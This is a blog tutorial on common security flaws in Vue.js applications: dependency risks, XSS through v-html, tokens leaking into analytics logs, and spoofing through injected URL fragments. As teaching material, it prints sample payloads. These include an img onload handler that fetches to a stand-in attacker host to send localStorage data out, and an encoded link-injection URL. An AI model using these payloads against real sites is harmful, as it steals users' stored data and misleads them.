Skip to content
🛡️ FREE Master Frontend Security · All 7 modules live · 100% free Start free →

· security · 7 min read

Fortifying Vue.js Applications

This article discusses the top security vulnerabilities in Vue.js applications and provides recommendations for identifying and mitigating the risks.

Neciu Dan

Neciu Dan

Hi there, it's Dan, a technical co-founder of an ed-tech startup, host of Señors at Scale - a podcast for Senior Engineers, Organizer of ReactJS Barcelona meetup, international speaker and Staff Software Engineer, I'm here to share insights on combining technology and education to solve real problems.

I write about startup challenges, tech innovations, and the Frontend Development. Subscribe to join me on this journey of transforming education through technology. Want to discuss Tech, Frontend or Startup life? Let's connect.

Share:

There is a widespread mental model called Second-Order Thinking, which says that when coming up with a solution don’t think just about the problem you are solving but also the implications.

Sure, we are solving this with feature X, but we may introduce another step in the flow that will drop the conversion rate, or SEO might go down, and so on…

Often, when solving a problem or adding a feature, we mistakenly open the door for vulnerabilities in our website and they get overlooked and lay there in waiting like a ticking time bomb until one day you are on the first page of hacker news.

I want to stress that these vulnerabilities are not Vue’s fault. Vue offers a set of tools and APIs that help enhance the User Experience of your website, it’s the developer who has to make sure how not to misuse these tools and open up his business to attackers.

Third-party libraries and Scripts

Node modules are big

The most common entry point in your application is your package.json file. It should have a disclaimer at the top that says:

Attention! Here be dragons!

You usually want to use a popular framework or add a cool new library to your project and when you do you are potentially opening the door to malicious content.

With a simple npm i amazing-library@2.0 even if amazing-library does not have any vulnerabilities, the installer will download the library’s own dependencies and install them as well, and again for each dependency of that dependency and so on.

Thankfully npm provides an audit of every installed package and it gives a score of low / medium / high to each vulnerability it finds.

You then can run npm audit fix or npm audit fix --force to attempt to fix your installed packages. I want to stress the word attempt because in the Javascript world things are not so simple.

Security in Javascript

GitHub also has a vulnerability checker called dependaBot, that checks each PR for new updates or if you are introducing a library/package that is vulnerable.

Unfortunately, npm and dependaBot, catch these problems only after packages have been flagged as vulnerable. So by the time you update your package.json file, it may already be too late.

A couple of best practices when installing libraries:

  • check if the library/package is well maintained
  • do regular checks using npm audit for your package.json
  • install dependaBot in your GitHub repos

Obviously, this is not Vue.js specific and it affects every library and framework, the good news here is that Vue core members take security very seriously and I consider the Vue ecosystem to be safer than most.

So if you stick with Vue packages from the Vue ecosystem (Vue, Vite, Vitest, VueUse, etc), chances are you are probably safe.

Cross-Site Scripting (XSS)

XSS explained

Cross-Site Scripting or XSS has been in the OWASP Top Ten every year for the past decade, and in 2022 has reached the third position.

Uhhh hooray for XSS ?

An XSS vulnerability happens when an attacker manages to inject malicious code inside an application.

This malicious script is then executed by the Normal Users browser and the code can access cookie data, local storage, or other browser-related information.

A typical example is a Comment Form Component rendered inside an Article. An attacker would add a comment like:

<script>alert('XSS')</script>

When other users would open the article, if the article is rendered in an element, the script would execute.

<p v-html="comment"></p>`

Typically you would do this when you want users to be able to add markdown to their comments or the ability to bold certain words.

Now, Vue is pretty smart in detecting script tags and prevents them by default. Unfortunately, attackers rarely use them, instead, they usually do something like this.

This is a comment!

<img 
  src="https://twitter.com/img/profile.jpg" 
  style="display:none" 
  onload="alert('XSS')"
/>

Inside the onload or onerrormethods the attacker would make a fetch request and send the user entire cookies or local storage.

<img 
  src="https://twitter.com/img/profile.jpg"
  style="display:none" 
  onload="fetch('https://attacker-url.net/', {method: 'POST', body: localStorage.getItem('account')})"
>

Pretty scary, right?

The good news is that it’s totally avoidable. The recommended solution is to not use v-html for user-generated content. That way we all sleep better at night.

But if you absolutely must use it, for some reason only you and your corporate overlords know, you must sanitize the user input.

Sanitise-html is a popular library that handles this well.

Another best practice is to also validate proper user input on the backend side and prevent malicious code from reaching the DB.

Security Logging

Observability

We measure everything.

Page views, clicks, events, errors, how much the user is scrolling, heatmaps, and all sorts of user-related data that we can use to determine if what we are building actually works.

And unfortunately, we sometimes might send a little too much.

Typically we use third-party SaaS tools like Datadog, New Relic, Google Analytics, or any number of observability tools.

That means that every security vulnerability we send from our front-end client is stored in a database that you have no control over.

What Security Vulnerabilities are we sending?

The most common vulnerable data we are sending is:

  • reset password tokens
  • promo codes
  • checkout generated links

Why does this happen? Because we are using query params in the URL for sensitive data.

https://your-website.com/reset-password?token=AXSNNm123

When this happens, our third-party o11y library of choice will log this URL as visited.

If an attacker gets access to your logged data, they can use these tokens to hijack user accounts or get access to unused promo codes, or visit checkout links and get access to user card information.

To prevent this it’s recommended to not use query params and use hashes instead.

https://your-website.com/reset-password#token=AXSNm123

Hashes are normally not logged or persisted in observability tools.

Most importantly: it is recommended you audit your URLs and pages to make sure you do not show user data on public pages.

For example:

https://your-website.com/order/1231233212

If this URL is accessed by someone other than the User who created the order, we must not show sensitive data like card information or the user’s address.

Spoofing

Spoofing

Phishing and Spoofing have gotten very creative over the years.

And while both employ similar tactics to achieve their result, to take the user to their own website and try to steal their password or information, they achieve this in different ways.

Phishing would fake an official email and inside the call to action, they will redirect you to their own website.

I cannot even count the number of fake Jira Emails or AWS Emails I have received trying to make me click and steal my password.

Normally email clients catch this and all you have to do is be vigilant: check the sender, the content, and that the link you are going to has the correct domain name.

Spoofing on the other hand is way more dangerous because it takes advantage of your website’s flaw to redirect you to another website.

Think of a page where you can add promo codes. You would probably send marketing emails to your users with an URL like:

https://your-website/promos#PROMO300

And on the page show the promo code in a nice way with an APPLY PROMO button.

In your code, you may grab the promo code using location.hash and then render it using the v-html tag.

By using the v-html tag in this situation you have opened up the Spoofing vulnerability.

A creative attacker can create a very nice-looking HTML using your URL like this:

https://your-website/promos#<div>PROMO is APXS1230 <br/> <a href="https://other-malicious-website.com">Click here to apply</a></div>

Of course the above looks malicious, but encoded it will look like this:

https://your-website/promos#%3Cdiv%3EPROMO%20is%20APXS1230%20%3Cbr%2F%3E%20%3Ca%20href%3D%22https%3A%2F%2Fother-malicious-website.com%22%3EClick%20here%20to%20apply%3C%2Fa%3E%3C%2Fdiv%3E

Not that easy to spot it now, is it?

The attacker will take advantage of the sense of security your users will feel when on your website and not think twice about clicking on a link.

Specifically on promotions-related pages.

Like in the case of XSS the best approach is to never use v-html or {{}} to render user content or content from the URL / Cookies or another medium the attacker can exploit.

Conclusion

To minimize the risk of security vulnerabilities, it’s important to follow best practices, such as validating user input, using encryption for sensitive data, and implementing proper access controls.

Additionally, implementing security logging and monitoring can help detect and respond to potential security threats. As well as activating dependency checks in your pipeline (npm audit, dependabot)

And the best advice comes from the Vue Documentation page itself:

Warning

Always sanitize user input and try not to render using v-html anything that can be abused by attackers (URLs, Cookies, User Generated Content)

🛡️ FRONTEND SECURITY · REACT · VUE · ANGULAR · VANILLA JS

Master Security in Frontend Applications

Free, comprehensive frontend security course.
XSS, CSRF, AI security, broken access control & the vulnerabilities that actually get you breached.

100% FREE 7 MODULES · ALL LIVE
Start learning free →

All 7 modules live now. No credit card.

Neciu Dan

Discover more from The Neciu Dan Newsletter

A weekly column on Tech & Education, startup building and occasional hot takes.

Over 1,000 subscribers

🎙️ Latest Podcast Episodes

Dive deeper with conversations from senior engineers about scaling applications, teams, and careers.

Accessibility at Scale with Craig Abbott
Episode 48
59 minutes

Señors @ Scale host Neciu Dan sits down with Craig Abbott, Principal Accessibility Specialist at TetraLogical and the former Head of Accessibility at the UK's Department for Work and Pensions, one of the largest government departments in the country, where he built a dedicated accessibility practice from nothing and open sourced the DWP Accessibility Manual. Craig has over 15 years in user centred design and has led accessibility work across the public sector and at Elastic. From what sustainable accessibility actually means and why third party audits alone don't get you there, to the three C's of compliance, culture and capability, to running screen readers in VMs without expensive licences, to accessibility acceptance tests in CI with Playwright, Cucumber and Guidepup, to why compliance does not mean usable, this is the accessibility conversation for teams who want it to survive the person who cares about it.

📖 Read Takeaways
Versatility at Scale with Carmen Huidobro
Episode 47
42 minutes

Señors @ Scale host Neciu Dan sits down with Carmen Huidobro, CTO at Incredible Bee in Vienna, where she builds products and helps teams figure out what should be automated and what should stay in the hands of users. Carmen has spent 17 years in tech, almost all of it freelancing, working across Objective-C, Ruby on Rails, the web, mobile, hardware, and even ABAP inside an SAP consultancy, plus five years in developer relations and developer education. Her argument is that the generalist versus specialist debate misses the point: the durable skill is being an expert at adapting. From adding a local Mistral model to a twenty-year-old macOS app without betraying the people who use it, to the refugee hackathon project the City of Vienna still runs a decade later, to why she won't take money from junior developers, this is a conversation about the skills that survive the shift.

📖 Read Takeaways
CI/CD at Scale with Marko Gacesa
Episode 46
45 minutes

Señors @ Scale host Neciu Dan sits down with Marko Gaćeša, Head of Product at Semaphore, the agent-native CI/CD platform, and the first product guest on the show. Marko is a serial entrepreneur whose career spans developer tools, IoT, industrial automation and enterprise SaaS, including founding Dry Tools and serving as Chief Product Officer at Alchemy Cloud, with earlier work in domains like medical equipment where quality is non-negotiable. From why testing rather than coding is now the bottleneck, to what agent-native CI/CD actually means when developers live inside their coding agent, to how SemAI attacks flaky tests and automates migration off GitHub Actions, to pricing a platform where a minute of CI is not the same minute everywhere, this is the product side of developer tooling from someone shipping it.

📖 Read Takeaways
AI Harness at Scale with Maxim Salnikov
Episode 45
44 minutes

Señors @ Scale host Neciu Dan sits down with Maxim Salnikov, AI Dev Tools Solution Engineer at Microsoft, where he leads AI native development enablement for over 100 enterprise customers of Microsoft and GitHub in Norway. Maxim has been building for the web since the late 90s and spends his days inside real enterprise dev teams across finance, energy, agriculture, and pure software companies, watching AI adoption succeed and fail. From why adoption is a change management problem rather than a technology one, to the anatomy of an AI harness and the external layer successful companies build on top of it, to the context engineer and agent ops roles now appearing in team topologies, to managing agent skills as versioned dependencies instead of letting them pollute the repo, this is the enterprise AI adoption conversation from someone who sees a hundred versions of it.

📖 Read Takeaways
Back to Blog